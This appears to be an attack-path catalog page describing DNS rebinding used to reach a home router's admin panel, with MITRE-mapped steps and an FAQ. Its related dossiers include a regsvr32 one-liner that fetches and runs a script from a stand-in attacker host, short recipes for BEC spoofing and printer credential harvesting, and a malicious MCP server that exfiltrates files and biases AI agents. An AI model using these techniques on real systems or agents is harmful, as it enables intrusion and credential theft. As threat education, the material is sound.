DNS rebinding → access internal router admin from a browser
Victim visits attacker page. JS opens a connection to attacker.com, which after the first request flips its DNS A record to 192.168.1.1 — subsequent requests now go to the victim's router under the attacker's origin.
§ Context
Assumed environment: victim runs an unpatched home / SMB router with default credentials reachable on its internal IP. Modern browsers honour short TTLs the attacker controls.
§ Steps
- 01Phish / drive-by visitInitial AccessT1566— Phishing
- 02Hit router with default credsCredential AccessW-AUTH-DEFAULT— Default Credentials
- 03Host JS page on attacker.comResource DevelopmentT1583— Acquire Infrastructure
- 04Stand up rebinding DNS server (whonow)Resource DevelopmentT1583— Acquire Infrastructure
- 05Reconfigure DNS / port forward / firmwareInitial AccessIOT-OTA-MITM— OTA Update MITM
- 06DNS A flips to internal IPLateral MovementDNS-REBINDING— DNS Rebinding
§ References
- T1566Phishing
- T1583Acquire Infrastructure
§ Frequently asked
- What is the "DNS rebinding → access internal router admin from a browser" attack path?
- Victim visits attacker page. JS opens a connection to attacker.com, which after the first request flips its DNS A record to 192.168.1.1 — subsequent requests now go to the victim's router under the attacker's origin. It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Phish / drive-by visit (T1566) — a initial access primitive. Assumed environment: victim runs an unpatched home / SMB router with default credentials reachable on its internal IP.
- What is the final impact of this kill-chain?
- The final step lands on DNS A flips to internal IP (DNS-REBINDING), which falls under Lateral Movement. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques2
Malicious MCP server → silent supply chain for agent tools
User installs an MCP server marketed as a useful integration. Every subsequent agent session has the rogue server in scope — its tools log prompts, exfil files, or inject responses to bias the agent.
- Shared techniques2
Squiblydoo: regsvr32 → remote SCT execution
regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.
- Shared techniques2
Permissive SPF / DMARC p=none → CEO impersonation BEC
Target publishes SPF ~all and DMARC p=none. Send mail from attacker IP with a forged From: <ceo@target.com>; gateway delivers as-is. Combine with display-name spoof for a credible BEC.
- Shared techniques2
Reconfigure MFP LDAP → harvest service-account credentials
Walk up to / network-into the MFP admin web panel (default creds), change the LDAP address-book server to attacker IP — printer immediately re-binds and sends its service-account creds in cleartext.